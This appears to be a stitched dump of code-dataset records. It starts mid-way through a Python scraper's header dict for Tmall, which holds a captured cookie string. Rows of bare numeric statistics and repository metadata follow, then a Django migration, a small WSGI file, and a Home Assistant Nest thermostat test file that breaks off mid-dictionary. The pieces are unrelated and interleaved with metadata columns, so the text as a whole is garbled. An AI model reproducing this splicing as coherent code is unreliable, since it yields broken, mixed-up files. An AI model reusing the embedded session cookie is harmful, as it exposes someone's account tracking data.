pnm_cku822=098%23E1hv6vvUvbpvUpCkvvvvvjiPRLqh6jt8R2MWtjD2PmPWzjtUPLM9tjEbnLsv1jrmR8wCvvpvvUmmRphvCvvvvvvPvpvhvv2MMQhCvvOvCvvvphvEvpCW2Hl1vva6DO29T2eAnhjEKOmD5dUf8r1lGE7rV16s%2BX7t5LI6N6S9tRLIVBizBb2XS4ZAhjCbFOcnDBmwJ9kx6acEn1vDNr1lYE7refyCvm9vvvvvphvvvvvv9DCvpv1ZvvmmZhCv2CUvvUEpphvWFvvv9DCvpvQouphvmvvv9bpFW8%2BEkphvC99vvOHzBp%3D%3D; isg=BAkJbT1NsTs2VEpTtmehjf2FGDOj_uLf0LUXFKt-h_Av8isE9KbeWKcgMBBhqpXA',
'referer':'https://s.m.tmall.com/m/searchbar.htm?searchType=default',
'upgrade-insecure-requests':'1',
'user-agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1',
}
| 264.666667
| 1,940
| 0.855164
| 266
| 2,382
| 7.552632
| 0.691729
| 0.01991
| 0.031359
| 0.041812
| 0.052265
| 0
| 0
| 0
| 0
| 0
| 0
| 0.288975
| 0.025189
| 2,382
| 9
| 1,941
| 264.666667
| 0.576227
| 0
| 0
| 0
| 0
| 0.333333
| 0.973563
| 0.798154
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8a37cc4b89bb9f25c79f3f17813ad58518957bf5
| 9,683
|
py
|
Python
|
export_readiness/migrations/0048_auto_20190206_1355.py
|
kaedroho/dit-directory-cms
|
67c15eeed19e7b3583f1fce1969230ddf83b6813
|
[
"MIT"
] | 6
|
2018-03-20T11:19:07.000Z
|
2021-10-05T07:53:11.000Z
|
export_readiness/migrations/0048_auto_20190206_1355.py
|
kaedroho/dit-directory-cms
|
67c15eeed19e7b3583f1fce1969230ddf83b6813
|
[
"MIT"
] | 802
|
2018-02-05T14:16:13.000Z
|
2022-02-10T10:59:21.000Z
|
export_readiness/migrations/0048_auto_20190206_1355.py
|
kaedroho/dit-directory-cms
|
67c15eeed19e7b3583f1fce1969230ddf83b6813
|
[
"MIT"
] | 6
|
2019-01-22T13:19:37.000Z
|
2019-07-01T10:35:26.000Z
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.18 on 2019-02-06 13:55
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('export_readiness', '0047_allcontactpagespage'),
]
operations = [
migrations.AlterField(
model_name='allcontactpagespage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='articlelistingpage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='articlepage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='campaignpage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='contactsuccesspage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='contactsuccesspages',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='contactusguidancepage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='contactusguidancepages',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='countryguidepage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='euexitdomesticformpage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='euexitformpages',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='euexitformsuccesspage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='euexitinternationalformpage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='exportreadinessapp',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='getfinancepage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='homepage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='internationallandingpage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='marketingpages',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='performancedashboardnotespage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='performancedashboardpage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='privacyandcookiespage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='sitepolicypages',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='termsandconditionspage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
migrations.AlterField(
model_name='topiclandingpage',
name='service_name',
field=models.CharField(choices=[('FIND_A_SUPPLIER', 'Find a Supplier'), ('EXPORT_READINESS', 'Export Readiness'), ('INVEST', 'Invest'), ('COMPONENTS', 'Components'), ('GREAT_INTERNATIONAL', 'Great International')], db_index=True, max_length=100, null=True),
),
]
| 71.198529
| 269
| 0.647836
| 948
| 9,683
| 6.407173
| 0.078059
| 0.121008
| 0.102733
| 0.114587
| 0.888212
| 0.888212
| 0.888212
| 0.888212
| 0.888212
| 0.888212
| 0
| 0.011947
| 0.187442
| 9,683
| 135
| 270
| 71.725926
| 0.760041
| 0.007126
| 0
| 0.75
| 1
| 0
| 0.410155
| 0.02674
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.015625
| 0
| 0.039063
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8a7174674756882ecfd4890f855fd43f60e8269b
| 126
|
wsgi
|
Python
|
open-hackathon-tempUI/src/app.wsgi
|
SpAiNiOr/LABOSS
|
32ad341821e9f30fecfa338b5669f574d32dd0fa
|
[
"Apache-2.0"
] | null | null | null |
open-hackathon-tempUI/src/app.wsgi
|
SpAiNiOr/LABOSS
|
32ad341821e9f30fecfa338b5669f574d32dd0fa
|
[
"Apache-2.0"
] | null | null | null |
open-hackathon-tempUI/src/app.wsgi
|
SpAiNiOr/LABOSS
|
32ad341821e9f30fecfa338b5669f574d32dd0fa
|
[
"Apache-2.0"
] | null | null | null |
import sys
sys.path.append("/home/opentech/open-hackathon/open-hackathon-tempUI/src")
from hackathon import app as application
| 42
| 74
| 0.825397
| 19
| 126
| 5.473684
| 0.736842
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.063492
| 126
| 3
| 75
| 42
| 0.881356
| 0
| 0
| 0
| 0
| 0
| 0.433071
| 0.433071
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
8a775a3e71b6b98696e4a13c319e729c332528ab
| 43,509
|
py
|
Python
|
tests/components/nest/test_climate_sdm.py
|
andersop91/core
|
0e0ef0aa17073609eae7c974cf4c73306b7c414b
|
[
"Apache-2.0"
] | 4
|
2021-07-11T09:11:00.000Z
|
2022-02-27T14:43:50.000Z
|
tests/components/nest/test_climate_sdm.py
|
andersop91/core
|
0e0ef0aa17073609eae7c974cf4c73306b7c414b
|
[
"Apache-2.0"
] | 277
|
2021-10-04T06:39:33.000Z
|
2021-12-28T22:04:17.000Z
|
tests/components/nest/test_climate_sdm.py
|
andersop91/core
|
0e0ef0aa17073609eae7c974cf4c73306b7c414b
|
[
"Apache-2.0"
] | 1
|
2022-02-09T00:30:51.000Z
|
2022-02-09T00:30:51.000Z
|
"""
Test for Nest climate platform for the Smart Device Management API.
These tests fake out the subscriber/devicemanager, and are not using a real
pubsub subscriber.
"""
from google_nest_sdm.device import Device
from google_nest_sdm.event import EventMessage
import pytest
from homeassistant.components.climate.const import (
ATTR_CURRENT_TEMPERATURE,
ATTR_FAN_MODE,
ATTR_FAN_MODES,
ATTR_HVAC_ACTION,
ATTR_HVAC_MODES,
ATTR_PRESET_MODE,
ATTR_PRESET_MODES,
ATTR_TARGET_TEMP_HIGH,
ATTR_TARGET_TEMP_LOW,
CURRENT_HVAC_COOL,
CURRENT_HVAC_HEAT,
CURRENT_HVAC_IDLE,
CURRENT_HVAC_OFF,
FAN_LOW,
FAN_OFF,
FAN_ON,
HVAC_MODE_COOL,
HVAC_MODE_DRY,
HVAC_MODE_FAN_ONLY,
HVAC_MODE_HEAT,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
PRESET_ECO,
PRESET_NONE,
PRESET_SLEEP,
)
from homeassistant.const import ATTR_TEMPERATURE
from .common import async_setup_sdm_platform
from tests.components.climate import common
PLATFORM = "climate"
async def setup_climate(hass, raw_traits=None, auth=None):
"""Load Nest climate devices."""
devices = None
if raw_traits:
traits = raw_traits
traits["sdm.devices.traits.Info"] = {"customName": "My Thermostat"}
devices = {
"some-device-id": Device.MakeDevice(
{
"name": "some-device-id",
"type": "sdm.devices.types.Thermostat",
"traits": traits,
},
auth=auth,
),
}
return await async_setup_sdm_platform(hass, PLATFORM, devices)
async def test_no_devices(hass):
"""Test no devices returned by the api."""
await setup_climate(hass)
assert len(hass.states.async_all()) == 0
async def test_climate_devices(hass):
"""Test no eligible climate devices returned by the api."""
await setup_climate(hass, {"sdm.devices.traits.CameraImage": {}})
assert len(hass.states.async_all()) == 0
async def test_thermostat_off(hass):
"""Test a thermostat that is not running."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 16.2,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 16.2
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TEMPERATURE] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] is None
assert ATTR_PRESET_MODE not in thermostat.attributes
assert ATTR_PRESET_MODES not in thermostat.attributes
assert ATTR_FAN_MODE not in thermostat.attributes
assert ATTR_FAN_MODES not in thermostat.attributes
async def test_thermostat_heat(hass):
"""Test a thermostat that is heating."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {
"status": "HEATING",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEAT",
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 16.2,
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"heatCelsius": 22.0,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_HEAT
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 16.2
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TEMPERATURE] == 22.0
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] is None
assert ATTR_PRESET_MODE not in thermostat.attributes
assert ATTR_PRESET_MODES not in thermostat.attributes
async def test_thermostat_cool(hass):
"""Test a thermostat that is cooling."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {
"status": "COOLING",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "COOL",
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 29.9,
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"coolCelsius": 28.0,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_COOL
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_COOL
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 29.9
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TEMPERATURE] == 28.0
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] is None
assert ATTR_PRESET_MODE not in thermostat.attributes
assert ATTR_PRESET_MODES not in thermostat.attributes
async def test_thermostat_heatcool(hass):
"""Test a thermostat that is cooling in heatcool mode."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {
"status": "COOLING",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEATCOOL",
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 29.9,
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"heatCelsius": 22.0,
"coolCelsius": 28.0,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT_COOL
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_COOL
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 29.9
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] == 22.0
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] == 28.0
assert thermostat.attributes[ATTR_TEMPERATURE] is None
assert ATTR_PRESET_MODE not in thermostat.attributes
assert ATTR_PRESET_MODES not in thermostat.attributes
async def test_thermostat_eco_off(hass):
"""Test a thermostat cooling with eco off."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {
"status": "COOLING",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEATCOOL",
},
"sdm.devices.traits.ThermostatEco": {
"availableModes": ["MANUAL_ECO", "OFF"],
"mode": "OFF",
"heatCelsius": 20.0,
"coolCelsius": 22.0,
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 29.9,
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"heatCelsius": 22.0,
"coolCelsius": 28.0,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT_COOL
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_COOL
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 29.9
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] == 22.0
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] == 28.0
assert thermostat.attributes[ATTR_TEMPERATURE] is None
assert thermostat.attributes[ATTR_PRESET_MODE] == PRESET_NONE
assert thermostat.attributes[ATTR_PRESET_MODES] == [PRESET_ECO, PRESET_NONE]
async def test_thermostat_eco_on(hass):
"""Test a thermostat in eco mode."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {
"status": "COOLING",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEATCOOL",
},
"sdm.devices.traits.ThermostatEco": {
"availableModes": ["MANUAL_ECO", "OFF"],
"mode": "MANUAL_ECO",
"heatCelsius": 21.0,
"coolCelsius": 29.0,
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 29.9,
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"heatCelsius": 22.0,
"coolCelsius": 28.0,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT_COOL
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_COOL
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 29.9
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] == 21.0
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] == 29.0
assert thermostat.attributes[ATTR_TEMPERATURE] is None
assert thermostat.attributes[ATTR_PRESET_MODE] == PRESET_ECO
assert thermostat.attributes[ATTR_PRESET_MODES] == [PRESET_ECO, PRESET_NONE]
async def test_thermostat_eco_heat_only(hass):
"""Test a thermostat in eco mode that only supports heat."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {
"status": "OFF",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "OFF"],
"mode": "HEAT",
},
"sdm.devices.traits.ThermostatEco": {
"availableModes": ["MANUAL_ECO", "OFF"],
"mode": "MANUAL_ECO",
"heatCelsius": 21.0,
"coolCelsius": 29.0,
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 29.9,
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_IDLE
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 29.9
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TEMPERATURE] == 21.0
assert ATTR_TARGET_TEMP_LOW not in thermostat.attributes
assert ATTR_TARGET_TEMP_HIGH not in thermostat.attributes
assert thermostat.attributes[ATTR_PRESET_MODE] == PRESET_ECO
assert thermostat.attributes[ATTR_PRESET_MODES] == [PRESET_ECO, PRESET_NONE]
async def test_thermostat_set_hvac_mode(hass, auth):
"""Test a thermostat changing hvac modes."""
subscriber = await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
await common.async_set_hvac_mode(hass, HVAC_MODE_HEAT)
await hass.async_block_till_done()
assert auth.method == "post"
assert auth.url == "some-device-id:executeCommand"
assert auth.json == {
"command": "sdm.devices.commands.ThermostatMode.SetMode",
"params": {"mode": "HEAT"},
}
# Local state does not reflect the update
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
# Simulate pubsub message when mode changes
event = EventMessage(
{
"eventId": "some-event-id",
"timestamp": "2019-01-01T00:00:01Z",
"resourceUpdate": {
"name": "some-device-id",
"traits": {
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEAT",
},
},
},
},
auth=None,
)
await subscriber.async_receive_event(event)
await hass.async_block_till_done() # Process dispatch/update signal
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_IDLE
# Simulate pubsub message when the thermostat starts heating
event = EventMessage(
{
"eventId": "some-event-id",
"timestamp": "2019-01-01T00:00:01Z",
"resourceUpdate": {
"name": "some-device-id",
"traits": {
"sdm.devices.traits.ThermostatHvac": {
"status": "HEATING",
},
},
},
},
auth=None,
)
await subscriber.async_receive_event(event)
await hass.async_block_till_done() # Process dispatch/update signal
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_HEAT
async def test_thermostat_invalid_hvac_mode(hass, auth):
"""Test setting an hvac_mode that is not supported."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
with pytest.raises(ValueError):
await common.async_set_hvac_mode(hass, HVAC_MODE_DRY)
await hass.async_block_till_done()
assert thermostat.state == HVAC_MODE_OFF
assert auth.method is None # No communication with API
async def test_thermostat_set_eco_preset(hass, auth):
"""Test a thermostat put into eco mode."""
subscriber = await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatEco": {
"availableModes": ["MANUAL_ECO", "OFF"],
"mode": "OFF",
"heatCelsius": 15.0,
"coolCelsius": 28.0,
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
assert thermostat.attributes[ATTR_PRESET_MODE] == PRESET_NONE
# Turn on eco mode
await common.async_set_preset_mode(hass, PRESET_ECO)
await hass.async_block_till_done()
assert auth.method == "post"
assert auth.url == "some-device-id:executeCommand"
assert auth.json == {
"command": "sdm.devices.commands.ThermostatEco.SetMode",
"params": {"mode": "MANUAL_ECO"},
}
# Local state does not reflect the update
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
assert thermostat.attributes[ATTR_PRESET_MODE] == PRESET_NONE
# Simulate pubsub message when mode changes
event = EventMessage(
{
"eventId": "some-event-id",
"timestamp": "2019-01-01T00:00:01Z",
"resourceUpdate": {
"name": "some-device-id",
"traits": {
"sdm.devices.traits.ThermostatEco": {
